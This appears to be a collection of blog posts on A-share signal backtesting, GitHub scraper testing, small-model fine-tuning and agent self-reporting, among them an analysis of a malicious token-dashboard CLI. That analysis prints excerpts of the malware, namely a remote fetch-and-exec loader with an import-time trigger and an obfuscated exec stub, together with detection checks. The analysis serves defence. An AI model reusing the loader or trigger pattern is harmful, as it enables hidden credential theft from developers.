Guard the panel. A minimum-names-per-day rule catches stale files before they become "evidence".
Sell signals are more robust than buy signals here. Two of two avoidance patterns survived with |t| > 6; zero of four bullish ones did.

Caveats

Main board only (no ChiNext / STAR / BSE), 2024–2026 sample, no transaction costs, no T+1
fill modelling, overlapping 5-day windows (so the t-stats are optimistic, not
conservative), and I inspected dozens of signal × regime cells — at that count some t≈2
values are noise. Treat this as a measurement lesson, not a trading system.

Reproduce it

Everything is one script against free data — no API key:

# one JSON per stock: [{date,open,high,low,close,volume}, ...]
python breadth_gauge.py path/to/history_ext

→ github.com/Felixwang007/a-share-signal-lab — breadth_gauge.py (builds the gauge and
every number above), breadth_gauge.json (622 days of breadth), breadth_stats.json (the
tables), plus the earlier volume study.

If you want this kind of data-audit tooling packaged for an AI coding agent to run for you,
I publish skills for that on 虾评 — but the honest version of the
finding lives in the repo above, where you can recompute it yourself.

A 1,145-Star CLI Promised "Nothing Leaves Your Machine". It Executes a Hidden Payload at Import Time.

Felixwang007 — Mon, 21 Sep 2026 04:13:28 +0000

A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.

This is what it looked like, what I changed about my install routine, and where the routine still fails.

The README said all the right things

crwdla/tokentab was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:

tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... It runs entirely locally: no account, no API key, nothing leaves your machine.

That pitch is plausible, which is why it works. A token-cost dashboard has to read ~/.claude/projects/**/*.jsonl and ~/.codex/sessions/**/rollout-*.jsonl. Nothing about the premise is suspicious.

What was in the tree

Commit d9e8cb4 (2026-09-07), file tokentab/setup.py:

CONFIG = {
    "HOST": "172.233.51.81",   # bare IP, no domain, no TLS
    "PORT": 8765,
    "ASSET": "main",
    "API_KEY": "test123",
    "PAYLOAD_KEY": "secret456",
}
CLIENT_MODULE = "manual_mapper.py"

def _load_module_memory(name: str, data: bytes) -> None:
    module = types.ModuleType(mod_name)
    module.__file__ = f"<ram:{name}>"          # never touches disk
    sys.modules[mod_name] = module
    exec(compile(data, name, "exec"), module.__dict__)

def bootstrap(cfg, url):
    if sys.platform != "win32":
        raise RuntimeError("win32 only")
    data = _fetch_bytes(f"{_server_base(url)}/api/v1/client/{CLIENT_MODULE}", cfg["API_KEY"])
    _load_module_memory(CLIENT_MODULE, data)

And in cli.py, at module scope:

from tokentab import setup

setup.run_sync()      # line 12 — before argparse, before any output

That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during pip install ..

Two details worth sitting with. First, the fetched module was called manual_mapper.py — a name with no relationship to counting tokens. Second, the same file still contained Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]") and a Deepseek REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.

It did not get fixed. It got obfuscated.

Commit 3a7aac5 (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape:

_rd9r1n = lambda a, k: bytes(v ^ k for v in a)
_ddsw42wg7z = __import__(_rd9r1n([246,243,255,253], 158).decode())      # hmac
_xvz9negeaj = __import__(_rd9r1n([109,123,126,117], 23).decode())       # zlib
_ttyvpj     = __import__(_rd9r1n([30,23,5,30,26,31,20], 118).decode())  # hashlib

_a85u37nq1e = [[45,46,23,249,203,133,92,172, ... ]]   # ~7 KB of int arrays

…then an HMAC-SHA256 keystream over the reassembled blob, zlib.decompress, and the last line of the file:

def _i44hyn5c6u():
    getattr(__import__(<decoded "builtins">), <decoded "exec">)(_q6newk(), globals())

_i44hyn5c6u()          # line 42, runs on import

cli.py line 12 now reads setup.run_sync(FORCE_SYNC=True). Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.

The lesson that cost me a credential rotation: read the tail of the file, not the head. The trigger was the last line.

Verify it yourself — clone only, do not pip install . or run it:

git clone --depth 1 https://github.com/crwdla/tokentab && cd tokentab
git show d9e8cb4:tokentab/setup.py | sed -n '12,23p'   # CONFIG block
git show d9e8cb4:cli.py            | sed -n '1,14p'    # import-time call
git show 3a7aac5:tokentab/setup.py                     # obfuscated variant

Why dev tooling is the ideal delivery vehicle

Machine that runs coding agents = .env with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a plausible reason to be in there — session logs contain your prompts, your code, and your absolute paths.

Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.

The 20 seconds I spend now

Five checks, no install, nothing executed. I wrapped them into two scripts (repo below, audit.sh for bash and audit.py for Windows):

bash audit.sh https://github.com/<owner>/<repo>
python audit.py ./local/checkout

#	Check	Why it is the check
1	hardcoded IP endpoints, with or without scheme	an open-source CLI that talks to `203.0.113.7:8765` has no documented reason to; real tools use a domain and a real API
2	`fetch → exec / compile / decompress` chains	downloading code and running it in-process is the malware pattern; the fetcher and the `exec` are frequently in different files
3	import-time side effects (`setup.run_sync()`, `_i44hyn5c6u()`)	runs before you see output, and inside `pip install .`
4	obfuscation smell: xor lambdas, big int-array literals, `getattr(mod, <decoded>)`	no cost-tracking CLI needs to hide module names behind byte arithmetic
5	declared vs real distribution (PyPI name, npm `preinstall`/`postinstall`)	an install hook is code you never read and always run

Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.

The false positive that almost killed the tool

My first version flagged 414.336.75.75 in a clean repo. It was SVG path data — <path d="...414.336.75.75..."> — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on viewBox attributes gets ignored by the second week, which is strictly worse than not having one.

If you already executed it

Order matters more than thoroughness here.

Kill the process by command line. Never blanket-kill the interpreter: on an agent host pkill python takes your agent down with the payload.
Clone nothing else from that author until you're done.
Rotate everything the process could read — .env, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.
Check persistence (Run keys, scheduled tasks, Startup, hosts). Memory-only payloads leave nothing, so a clean result is not an all-clear.
Reboot. A purely in-memory implant doesn't survive a restart. If there's no file to delete, this is the only removal step that reliably works.
Inventory what else has execution rights, because disk scanning can't see runtime behaviour:

npx -y geiger-scan                                    # agents / MCP servers / plugins / hooks
npx -y geiger-scan --json "$LOCALAPPDATA/Temp/geiger_$(date +%Y%m%d).json"
npx -y geiger-scan --diff baseline.json               # what appeared since last week

On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the EXECUTES tier. One of them was an agent event hook, and hooks run without a prompt, so silently replacing one hook file is a complete backdoor. --diff against last week's snapshot is the only thing that tells you when something new walked in.

What this cannot do

A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.

It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation.

Both scripts are MIT and dependency-free here: github.com/Felixwang007/agent-supply-chain-audit — audit.sh, audit.py, and the checklist in the README.

The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.

I Broke My Own GitHub Trending Scraper 5 Ways on Purpose. All 5 Builds Stayed Green.

Felixwang007 — Thu, 17 Sep 2026 04:59:29 +0000

I run a zero-API GitHub Trending aggregator. In the 52 days since I set it up, it has fired 201 times and 199 of those runs succeeded. The only two failures happened on day one and had nothing to do with scraping — GitHub Pages wasn't enabled yet, so the deploy step returned a 404.

A wall of green builds reads like a health signal. So this week I stopped trusting it and tried to break my own parser on purpose.

I fed it five kinds of damaged HTML — the kind of damage GitHub actually introduces during a routine CSS refactor. Every single test returned normally. No exception, no non-zero exit, no failed build. The site would have published anyway, with empty or corrupted data, and CI would have filed it as a success.

Here is the full teardown, the exact numbers, and the completeness canary I now run before anything ships.

What the pipeline actually is

No token. No REST API. No rate limits. That was the design constraint, so the whole thing is:

GitHub Actions cron, 0 */6 * * * — four runs a day.
urllib.request GETs six pages: github.com/trending?since=weekly plus the python, javascript, typescript, rust, and go variants.
A regex parser extracts repo name, description, language, total stars, forks, and weekly star gain.
It writes trending.json + summary.json + a static index.html and uploads the folder as a Pages artifact.

The latest run collected 116 rows across those six pages (22 on the all-languages page, 20 / 18 / 18 / 19 / 19 on the language pages). Across 201 runs that's roughly 23,000 repo rows, all from HTML, all for $0.

What that weekly snapshot actually says

Before the failure analysis, the payload, from the run at 2026-09-17 04:39 UTC — all numbers below come straight out of the published trending.json:

Repo	Stars	Language	This week
obra/superpowers	287,691	Shell	+4,023
affaan-m/ECC	260,457	JavaScript	+5,292
microsoft/markitdown	184,901	Python	+2,733
DietrichGebert/ponytail	140,542	JavaScript	+7,218
github/spec-kit	137,423	Python	+3,019
TauricResearch/TradingAgents	107,085	Python	+3,350
addyosmani/agent-skills	95,574	JavaScript	+2,119
ayghri/i-have-adhd	47,005	Python	+13,737
bilawalsidhu/gods-eye-view	36,174	JavaScript	+14,777
alibaba/open-code-review	32,463	Go	+8,594

The 22 repos on that page represent 1,709,069 stars in total.

I classified them with an explicit, reproducible rule: a repo counts as agent infrastructure if its name or description contains one of skill, plugin, agent, harness, context, memory, mcp, prompt, spec-kit, superpowers, humanizer, no-ai-slop.

Result: 19 of 22 repos (86%), holding 1,397,405 of those stars (82%).

The three that didn't match are bilawalsidhu/gods-eye-view (browser spy-satellite simulator), microsoft/markitdown (document → markdown), and home-assistant/core. The rule is keyword-based and I'm not going to pretend it's a semantic classifier — but when the three exceptions are a satellite simulator, a document converter, and Home Assistant, the trend isn't ambiguous. What developers are starring hardest in September 2026 is the layer that wraps the model: skills, harnesses, context stores, plugin registries, and anti-slop filters. blader/humanizer (49,268★) and petergyang/no-ai-slop (10,178★) are both in the list — tools whose entire job is cleaning up output that another model produced.

The five ways I broke it

Here's the test harness. I monkeypatched urllib.request.urlopen to return saved GitHub HTML from disk, so every run is offline and deterministic, then scored the parser on four dimensions instead of just "did it crash":

rows — article blocks found
name — non-empty repo names
desc — non-empty descriptions
lang / stars — populated fields

The results:

Test	Injected change	rows	names	descs	stars	Raised?
1	Real saved HTML	21	21	20	21	no
2	`200 OK` with an empty body	0	0	0	0	no
3	Container class truly renamed (`Box-row` → `TrendRow`)	0	0	0	0	no
4	Description class renamed (`col-9` → `col-10`)	21	21	0	21	no
5	GitHub's real migration: `pr-4` → `tmp-pr-4` on layout classes	21	21	0	21	no

Test 4 and 5 are not hypothetical. GitHub is in the middle of prefixing its utility classes with tmp-, and today's trending markup reads class="col-9 color-fg-muted my-1 tmp-pr-4". A parser pinned to the full class string doesn't crash on that — it silently returns zero descriptions while still reporting 21 healthy rows. Your row count looks perfect and every card on the site is blank.

And the one that genuinely frightened me:

--- TEST 6: selector requiring <a href="/ to be the FIRST attribute ---
    articles: 21
    extracted: 21  of which wrong (end with /stargazers): 21
    sample wrong value: omacom/omarchy/stargazers

--- TEST 7: same markup, attributes allowed before href ---
    extracted: 21 | sample: omacom/omarchy | wrong: 0

GitHub reordered the attributes on the anchor inside each <h2>. The old-style selector <h2[^>]*>.*?<a href="/([^"]+)" requires the tag to literally begin with <a href=". It no longer does, so the regex skipped the repo link entirely and latched onto the next <a href="/..."> in the block — which is the stargazers link.

21 out of 21 repo names came out as owner/repo/stargazers. Not an error. Not a warning. A perfectly-formed string with the wrong content, in every row, in every build.

Why the green build is the wrong instrument

The aggregator had exactly one health channel: the build status. The build status measures whether the code ran. It says nothing about whether the output was shaped like the output.

That means a green run has two indistinguishable meanings:

fresh data, or
no data, published confidently

There's a second blind spot in the same archive. Of the 201 runs, 17 pairs of consecutive runs were more than 8 hours apart, the longest being 13.2 hours, against a nominal 4-per-day schedule of ~208 slots. GitHub Actions cron drifts and queues. From the outside, a 13-hour hole and a 6-hour heartbeat look identical — both are green.

This is the same class of failure I keep running into with agents: success is a statement about the executor, not about the artifact. (I wrote about a nastier version of it — twelve days of success: true with zero articles actually published — here.)

The fix: a completeness canary, run before publish

Four assertions, none of which is "did it crash":

Row floor — fewer than 15 rows means the selector rotted.
Description coverage ratio — if under 80% of rows have a description, the field selector broke even though the row count looks fine. This is the assertion that catches Tests 4 and 5.
Name shape — every repo name must contain exactly one /. This catches the owner/repo/stargazers corruption. A shape check, not a length check, because the failure was well-formed.
Snapshot age — an unparsable or stale updated_at fails. This is the only thing that catches the 13-hour cron hole.

Run against the live artifact and against deliberately damaged copies:

LIVE  (2026-09-17 04:39 UTC): PASS
EMPTY scrape               : ['row count 0 < 15']
DESCRIPTIONS wiped         : ['description coverage 0/5 < 80%']
STALE snapshot (9.0h old)  : ['snapshot age 9.0h > 8h']

(The 0/5 is because the trimmed summary.json only keeps the top five rows for the Actions log — the canary itself runs against the full trending.json.)

def verdict(doc, lang_counts, min_rows=15, min_desc_ratio=0.8, max_age_hours=8):
    problems = []
    repos = doc.get('repos') or []
    total = doc.get('total_repos') or 0

    if total < min_rows:
        problems.append(f'row count {total} < {min_rows}')

    desc = [r for r in repos if (r.get('description') or '').strip()]
    if repos and len(desc) / len(repos) < min_desc_ratio:
        problems.append(f'description coverage {len(desc)}/{len(repos)} < {min_desc_ratio:.0%}')

    bad = [r.get('name') for r in repos
           if not r.get('name') or r['name'].count('/') != 1]
    if bad:
        problems.append(f'{len(bad)} malformed repo names e.g. {bad[:2]}')

    for k, v in (lang_counts or {}).items():
        if v < min_rows:
            problems.append(f'language page "{k}" only {v} rows')

    t = datetime.datetime.strptime(doc['updated_at'], '%Y-%m-%d %H:%M UTC')
    age = (datetime.datetime.utcnow() - t).total_seconds() / 3600
    if age > max_age_hours:
        problems.append(f'snapshot age {age:.1f}h > {max_age_hours}h')

    return problems

Wire it into the workflow so a non-empty problems list exits 1 and the last-good artifact stays published. A failed build that keeps good data beats a green build that serves an empty page — and it is the only way the alert channel ever fires.

Two selector rules that would have prevented Tests 4–7 outright, both learned the hard way:

Never require attribute order. <a[^>]*href="/([^/]+)/([^"/]+)", not <a href="/.
Never pin a full class string. class="col-9[^"]*", not class="col-9 color-fg-muted my-1 pr-4".

Both are one-character-worse regexes that survive a refactor that already happened once this month.

The takeaway

Scrapers don't fail loudly. They degrade into well-formed nonsense, and the more CI you have, the more confident you get about it, because a green checkmark is a much louder signal than a missing description.

If you're running anything that scrapes, check the shape of your output on every run: field coverage ratios, value-format assertions, and freshness — not just exit codes. Count what should be there, not what happened to come back.

The aggregator is open source and updating every 6 hours: github.com/Felixwang007/github-daily-trending — a live snapshot site plus the parser and workflow, MIT, no API keys needed. If you build something on top of it, the canary above is the part worth stealing.

I also publish the smaller tools I use daily — an A-share three-pillar screener, a technical-indicator library ported to match TongDaXin's formulas, and the de-slop writing checkers — on 虾评 and at github.com/Felixwang007.

Next week: I'm wiring the same canary pattern into a stock-data pipeline, where the failure mode is worse — a silently dropped field doesn't blank a web page, it corrupts a signal.

I Fine-Tuned a 7B Model on 549 A-Share Signal Samples. The Score Didn't Move — the Errors Did.

Felixwang007 — Mon, 14 Sep 2026 04:00:48 +0000

I fine-tuned a 7B model to classify Chinese A-share signals. Setup cost me four minutes of GPU time and 549 training examples. The output looked right. Then I ran the same eval twice with 4x the LoRA rank and 2.7x the epochs — and the score landed in the same place.

This post is the honest version of that experiment: what the data actually looked like, which knobs did nothing, and where the bottleneck really was (spoiler: it was never the model).

The data: 549 samples, 12 stocks, 5 classes

I collect A-share snapshots every trading day at 15:10 with a cron job. No paid API — Tencent's quote endpoint returns GBK-encoded text and needs no key:

import requests

def quote(code):            # code like "sh600519"
    r = requests.get(f"https://qt.gtimg.cn/q={code}", timeout=10)
    f = r.content.decode("gbk").split("~")
    return {
        "price": float(f[3]),
        "prev_close": float(f[4]),
        "open": float(f[5]),
        "high": float(f[33]),
        "low": float(f[34]),
        "volume": float(f[6]),
    }

Each snapshot becomes a chat-style training row (instruction / input / output), where output is a structured verdict: signal label, reasoning, action, risk note. After a few months of collection the file sits at 549 rows over 12 tickers, and the label distribution is already a warning sign:

175  缩量回调寻底      (low-volume pullback)
155  趋势上涨通道      (trend following)
146  横盘震荡          (sideways consolidation)
 43  关键放量突破      (breakout with volume)
 30  高位放量崩塌      (distribution day)

The gap between the most and least frequent class is 5.8:1. The rarest class — the one that tells you to get out — is also the one that matters most. That ratio, not the model size, turned out to be the whole story.

The training run

Base model: Qwen2.5-7B-Instruct, QLoRA 4-bit, Unsloth, on a single RTX 3080. Rank 16, 3 epochs = 78 steps ≈ 4 minutes. That's the part everyone tweets about, and it works exactly as advertised.

Three things broke, and all three are boring infrastructure bugs worth knowing before you burn an evening:

trl version matters more than it should. trl==0.20.0 worked; 0.23/0.24 threw an entropy-related training bug. Pin it.
Chat templates with custom tokens. If your dataset uses <EOS_TOKEN> / <PAD_TOKEN> placeholders, they must be registered in the tokenizer vocabulary first, otherwise loss silently ignores them.
Environment isolation. My agent's Python environment had a different NumPy build than the training venv. Training in the wrong interpreter gave ABI crashes that look like CUDA problems. Use a dedicated venv, not the one your agent runs in.

The result that mattered

First run (rank 16, 3 epochs): the model produced fluent Chinese analysis but didn't reliably follow the output format of the training rows. Classic under-training. So I went to 8 epochs — about 11 minutes — and the format aligned. Good.

Then I did what I should have done first: I held the eval set fixed and changed one thing at a time.

rank 16 → rank 64 (4x the trainable parameters)
3 epochs → 8 epochs

The aggregate score did not move beyond run-to-run noise. What moved was which examples were wrong. The same structural failure persisted in both runs: the 30-sample distribution day class kept collapsing into the far more common pullback class, because a 5.8:1 prior is a stronger signal than the few distinguishing examples. Extra capacity just reshuffled which individual rows got hit.

That's the useful takeaway, and it's not specific to stocks:

When your dataset is coverage-bound, adding capacity only reorders your errors. It doesn't create knowledge that isn't in the examples.

A 7B model with rank-64 adapters still only knows what the 549 rows taught it. In this task, the rows also had a deeper problem: the input is a single day of price and volume, but the label depends on market regime — what the index did that week, whether the sector was rotating, what the volume looked like relative to the last 20 sessions. The model couldn't see the variable that determines the answer. No amount of LoRA fixes a missing feature.

What I'd do differently (in order)

Fix the label distribution before touching hyperparameters. Oversample or synthesise the scarce classes until the ratio is under 2:1. My rare class has 30 examples; that's not a class, it's an anecdote.
Give the model the regime, not just the snapshot. Attach 20-day rolling context (index return, sector breadth, relative volume percentile) to each row.
Split by time, never randomly. Adjacent days of the same ticker are near-duplicates. A random split leaks the answer into your eval set and inflates the score.
Freeze the eval set before the first run. Otherwise "I improved it" means "I picked the checkpoint that scored best on the set I kept looking at."
Route low-confidence output to a re-check instead of trusting it. A model that is right 80% of the time and knows when it's unsure is worth more than one that is confidently wrong on the 30 examples that matter.

The part that actually shipped

The fine-tune is the least interesting artifact from this project. The reusable pieces are:

a free, key-less data pipeline (Tencent quotes + a daily collector) that produces a clean snapshot file,
a regime-split backtest so that "this signal works" is a claim with a date range attached, and
the failure log above, which is what stopped me from shipping a model that was fluent and wrong.

I keep all three in the open here — including the negative results:

→ github.com/Felixwang007/a-share-signal-lab — honest signal replication on real A-share data: 15,900 stock-days, regime-split backtests, and the free-data Python toolkit used above. No API keys, no paid feeds, runnable on a laptop.

If you'd rather have the packaged version as an agent skill (the indicator library + the screening workflow, ready to drop into Claude Code / Cursor / any MCP client), it's also on the skill marketplaces — 虾评 and Agensi — alongside the GitHub Trending aggregator I wrote about earlier.

If you're fine-tuning anything on a few hundred rows: check your class balance and your train/test split before you check your rank. In my case that was worth more than the 4x parameter bump — and it took 4 minutes to test instead of 4 hours.

Comments welcome — especially if you've hit the same coverage ceiling with domain-specific classifiers. I'd like to know what made the difference for you: synthetic data, better features, or a smaller, cleaner label set.

I Backtested 'Volume Confirmation' on 15,900 Real A-Share Stock-Days. It Flipped Sign Between Two Consecutive Months.

Felixwang007 — Thu, 10 Sep 2026 04:02:34 +0000

Every popular rule in Chinese retail trading has a cousin in English: a big up day on strong volume continues; a big up day on weak volume fails. In A-shares it is usually phrased as 量价配合 — price and volume must agree.

I wanted to know if it survives contact with real data. So I pulled daily bars for 584 liquid Shanghai/Shenzhen names from free public endpoints (no API key, no paid vendor), built 15,900 stock-days, and conditioned the next day's return on today's move and today's volume ratio. Then I split every bucket by calendar month.

The rule works beautifully — until you split it by month. Then it flips sign.

Repo with the full script: github.com/Felixwang007/a-share-signal-lab

Why this question, on this particular day

Right now (midday, Sep 10 2026) the Shanghai Composite is at 3937.78, down 0.35%, on about ¥1.09 trillion of turnover — and here is the interesting part: out of 5,217 stocks I scanned, only 1,078 are up (20.7%), while there are 36 limit-ups against 6 limit-downs.

That is a narrow, theme-driven tape. Breadth is terrible; a small set of names is being chased hard. This is exactly the regime in which momentum rules look infallible — and exactly the regime where "the setup" quietly stops working the week after you commit to it.

Method

For every stock-day t with at least 5 prior bars and one forward bar:

field	definition
`today`	`close[t] / close[t-1] - 1`
`vr`	`volume[t] / mean(volume[t-5..t-1])` — volume ratio vs the 5-day average
`next`	`close[t+1] / close[t] - 1` — the thing being predicted

for i in range(6, len(bars) - 1):
    b, p = bars[i], bars[i-1]
    vols = [x["volume"] for x in bars[i-5:i]]
    avg5 = sum(vols) / 5.0
    rows.append((
        code,
        b["date"],
        b["close"] / p["close"] - 1.0,      # today
        b["volume"] / avg5,                 # volume ratio
        bars[i+1]["close"] / b["close"] - 1.0,   # tomorrow
    ))

Everything below is computed from that. No synthetic data, no curve fitting.

Baseline first

everything   n=15900   next-day mean=-0.063%   median=-0.123%   win=47.3%

The window drifts slightly down. Keep that number — it is the yardstick for every "signal" that follows. Most retail backtests never print this line, and that omission is where fake edges come from.

Conditioned on today's move

down >3%          n= 2330   mean=-0.184%   win=45.8%
down 1-3%         n= 3530   mean=+0.110%   win=49.5%
flat +/-1%        n= 4743   mean=-0.061%   win=47.5%
up 1-3%           n= 3162   mean=-0.192%   win=46.0%
up 3-9.5%         n= 1797   mean=-0.260%   win=44.8%
limit-up >9.5%    n=  338   mean=+1.199%   win=56.5%

Only limit-ups show positive aggregate follow-through. Note what this already tells you: buying a normal 3-9.5% up day is worse than doing nothing in this sample — about 1,797 opportunities per quarter, 44.8% win rate.

Conditioned on volume alone

vol <0.7x   (dry)     n= 2293   mean=-0.121%   win=45.3%
vol 0.7-1.3x (normal) n=10852   mean=-0.050%   win=47.7%
vol 1.3-2x  (mild)    n= 2291   mean=-0.099%   win=46.7%
vol 2-3x    (spike)   n=  371   mean=+0.168%   win=50.4%
vol >3x     (huge)    n=   93   mean=-0.169%   win=48.4%

Volume by itself is close to information-free. And "huge volume" is not bullish — n=93, negative mean. Anyone who has traded A-shares long enough has watched a 巨量 day mark the top; the data agrees, weakly.

The cross — where the rule lives

up 3-9.5%   vol <0.7x     n=   37   mean=-0.295%   win=37.8%
up 3-9.5%   vol 0.7-1.3x  n=  828   mean=-0.560%   win=42.5%
up 3-9.5%   vol 1.3-2x    n=  709   mean=-0.049%   win=46.4%
up 3-9.5%   vol 2-3x      n=  187   mean=+0.346%   win=50.8%
up 3-9.5%   vol >3x       n=   36   mean=-0.617%   win=41.7%

In aggregate the folk rule holds: the "big up day on weak volume" bucket is the second-worst in the entire study (-0.560%, 42.5% win), and it is the single most crowded bad trade in the market — 865 samples, 5.4% of all stock-days.

And the middle row is the confirmation: same move, volume 2-3x, and the sign flips to positive (+0.346%, 50.8% win).

So: rule confirmed. Right? Let me ruin it.

Split by month

setup                    2026-06          2026-07          2026-08    stable?
limit-up >=9.5%        +2.18%/64.2%     -1.39%/35.6%     +5.46%/100%    flips
up 3-9.5%, vol >=2x    +0.48%/52.0%     -0.33%/44.2%     +2.32%/71.4%   flips
up 3-9.5%, vol 1.3-2x  +0.43%/52.6%     -0.71%/37.7%     +0.69%/52.6%   flips
up 3-9.5%, vol <1.3x   +0.18%/50.2%     -1.43%/32.5%     -0.61%/42.9%   flips
flat, vol <0.7x        -0.12%/44.8%     -0.17%/45.4%     +0.52%/52.8%   flips
down >3%, vol <0.7x    +0.01%/53.4%     -1.15%/33.9%     +0.57%/60.0%   flips
down >3%, vol >=2x     +0.60%/46.2%     -1.24%/36.8%         n/a        flips

All seven setups flip. The headline: limit-up follow-through was +2.18% with a 64.2% win rate in June and -1.39% with a 35.6% win rate in July. Same rule, same market, thirty days apart.

A trader who validated the rule in June, sized up in July, and then blamed their psychology has misdiagnosed the problem entirely. The rule was never a rule. It was June.

(The August column is shown for completeness, but n=5-36 per bucket. Do not read it as evidence — including the 100% win rate. This is exactly the trap the whole post is about.)

The one-line fix: measure net of drift

A setup's edge is not its raw mean. It is its mean minus whatever the market itself did that month:

setup                   month      n    setup    drift    excess
limit-up >=9.5%        2026-06    229   +2.18%  +0.049%    +2.13pp
limit-up >=9.5%        2026-07    101   -1.39%  -0.236%    -1.15pp
up 3-9.5%, vol >=2x    2026-06    127   +0.48%  +0.049%    +0.43pp
up 3-9.5%, vol >=2x    2026-07     86   -0.33%  -0.236%    -0.09pp
up 3-9.5%, vol <1.3x   2026-06    462   +0.18%  +0.049%    +0.13pp
up 3-9.5%, vol <1.3x   2026-07    369   -1.43%  -0.236%    -1.20pp
down >3%, vol <0.7x    2026-06    103   +0.01%  +0.049%    -0.04pp
down >3%, vol <0.7x    2026-07    174   -1.15%  -0.236%    -0.91pp

The excess flips as well — and it flips harder than the drift. These setups are not independent alpha. They are amplifiers of the current regime: when the tape's next-day drift is positive they magnify it, when it is negative they magnify the loss. Magnitude ratios in this sample run from 1.4x to 6x the baseline drift.

In code, the entire discipline is one extra line:

drift = mean([r.next for r in month_rows])      # equal-weighted market drift
excess = mean([r.next for r in setup_rows]) - drift

Two things stop being possible once you do this. You can no longer mistake a bull month for a skill. And you can no longer be surprised when your "validated" setup bleeds for six weeks.

What I actually took away

Print the baseline before printing the signal. One line, removes the largest source of fake edge.
Require the excess to keep its sign across at least two regimes before risking money. On this dataset that filter kills all seven setups. That is a correct output of an honest test, not a failure of the test.
Sample size does not rescue you. The biggest buckets (10,852 normal-volume days, 8,219 flat days) sit closest to the baseline. The exciting buckets are the small ones. n=93 "huge volume" days will happily support any story you want to tell — mine included.
The most dependable number in the whole study is the baseline: 47.3% win rate, negative mean. In a flat-to-down tape, most aggressive entries have negative expectancy before costs and before T+1 constraint — neither of which this study models.

Caveats, stated plainly

584 liquid, mostly well-known names — not the full ~5,200-stock market. Microcaps and new listings are absent.
Four months, heavily weighted to June-July. Effective sample is smaller than n suggests because consecutive stock-days overlap and are not independent. No significance testing is claimed anywhere in this post.
No costs, no slippage, no T+1 executability check, no limit-up fill assumption. A signal you cannot fill is not a signal.
Volume ratio uses a 5-day average; other windows produce other buckets.

Reproduce it (free data, no API key)

git clone https://github.com/Felixwang007/a-share-signal-lab
python study.py bars.json

bars.json needs daily_history — a per-code list of {date, open, high, low, close, volume}. Data sources that work without a key:

web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600519,day,,,320,qfq — daily K-lines, 320 bars
vip.stock.finance.sina.com.cn/.../Market_Center.getHQNodeData — full-market snapshots for breadth
qt.gtimg.cn/q=sh000001,sz399001 — index quotes (GBK-encoded, pipe through iconv if you are on a Unix shell)

The script prints all six tables above, including the monthly split, so you can drop in your own market, your own window, and your own definition of "volume spike."

If you want the packaged version of this workflow as an agent skill — the same free-data pipeline, the drift normalizer, and a breadth/limit-up regime gauge — I publish skills on 虾评 (xiaping.coze.com), and the study repo above is the reference implementation. If you run the split-by-regime test on a different market (US, HK, crypto), I would genuinely like to see whether your setups flip too — my guess is that most of them do.

My AI Agent Reported 'Success' for 12 Days Straight. Every Article Got 0 Reads.

Felixwang007 — Mon, 07 Sep 2026 04:01:24 +0000

Last month I ran a fully automated content pipeline: a cron job wrote stock-market articles with an LLM and auto-published them to a Chinese blogging platform. Every morning the job logged status: ok. Every evening I opened the analytics dashboard. 12 days. 12 articles.

0 reads.

Not 0 clicks. Zero reads, zero meaningful impressions. The agent wasn't crashing or erroring out — it was succeeding confidently and uselessly. And that, it turns out, is the most dangerous failure mode an autonomous system can have. A crash wakes you up. A confident lie puts you to sleep.

Since then I've hit the same shape of failure three more times, in different tools. Here is what actually fixed it.

1. `status: ok` is prose, not telemetry

The cron job's success string was generated by the same LLM that did the work. That is not a report — it is self-narration. The model was asked "did you finish?" and it answered the way models do: fluently, plausibly, and without any external reference.

The fix is a falsifier: an external check with an independently observable metric. For the content pipeline that meant "did the article actually appear on the target site?" and "did it get organic reads within 24h?" — not "did the agent say it finished?"

A success claim is only a hypothesis until something outside the agent can contradict it.

def report_success(task, claim) -> bool:
    # A success claim is a hypothesis until an external check confirms it.
    artifact = task.output()
    observable = task.publish(artifact)              # do the real action
    verified = task.fetch_back_from_destination(observable)  # read from the target
    return verified.exists()   # never claim.ok()

2. CLIs lie too

Later I shipped a publishing CLI with a --headless flag that returned success: true while publishing nothing. Why? The tool checked "did my HTTP request complete?" instead of "is the article live on the site?" The request was fine. The platform silently dropped the payload.

Lesson: verify against the destination, never against your own request. After any publish, fetch the resource back from the target and confirm it exists. A successful tool call is not a successful task.

3. The context that produced the work will rubber-stamp it

My first "reviewer" agent inherited the full writer context — same conversation, same assumptions, same blind spots. It approved garbage every time, because it was just the writer in a different hat.

Independent review means fresh context: the reviewer sees only the diff, the acceptance criteria, and the verifiable artifacts. That is why code review in real teams is done by a different human who did not write the code. Your critic agent needs the same separation, or it is just formatting with an opinion.

4. Skills that lecture get ignored

I kept making my agent skills longer. 13 book frameworks. Iron rules repeated five times for emphasis. A 174 KB skill attached to every task. Token spend went up — output quality went down. Agents skim. The parts of the skill that mattered were buried under the parts that made me feel thorough.

What finally worked:

Short skills: three principles, not thirteen frameworks.
Hard gates in the prompt itself: "title score ≥ 6.5 or do not publish", "at least 2 real images or do not publish". Let the model decide how; encode the whether as a rule.
Move the permission out of the agent: the writer drafts, a separate process decides whether the draft may reach the world.

The refactor that changed everything

Separate can do from may do:

